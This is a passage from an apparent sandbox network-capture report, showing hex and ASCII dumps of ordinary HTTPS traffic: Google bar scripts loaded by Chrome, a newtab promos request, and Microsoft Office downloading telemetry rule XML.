2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 34 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700274,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e Data Ascii: ctor(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.
2024-11-25 13:14:23 UTC	1390	IN	Data Raw: 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 74 65 5c 75 30 30 33 64 Data Ascii: ocument,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.te\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	142.250.181.68	443	1016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 13:14:23 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 13:14:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 13:14:23 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 13:14:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:23 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:23 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131423Z-178bfbc474bp8mkvhC1NYCzqnn00000007eg0000000012mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 13:14:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 13:14:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 13:14:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 13:14:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 13:14:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 13:14:24 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 13:14:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
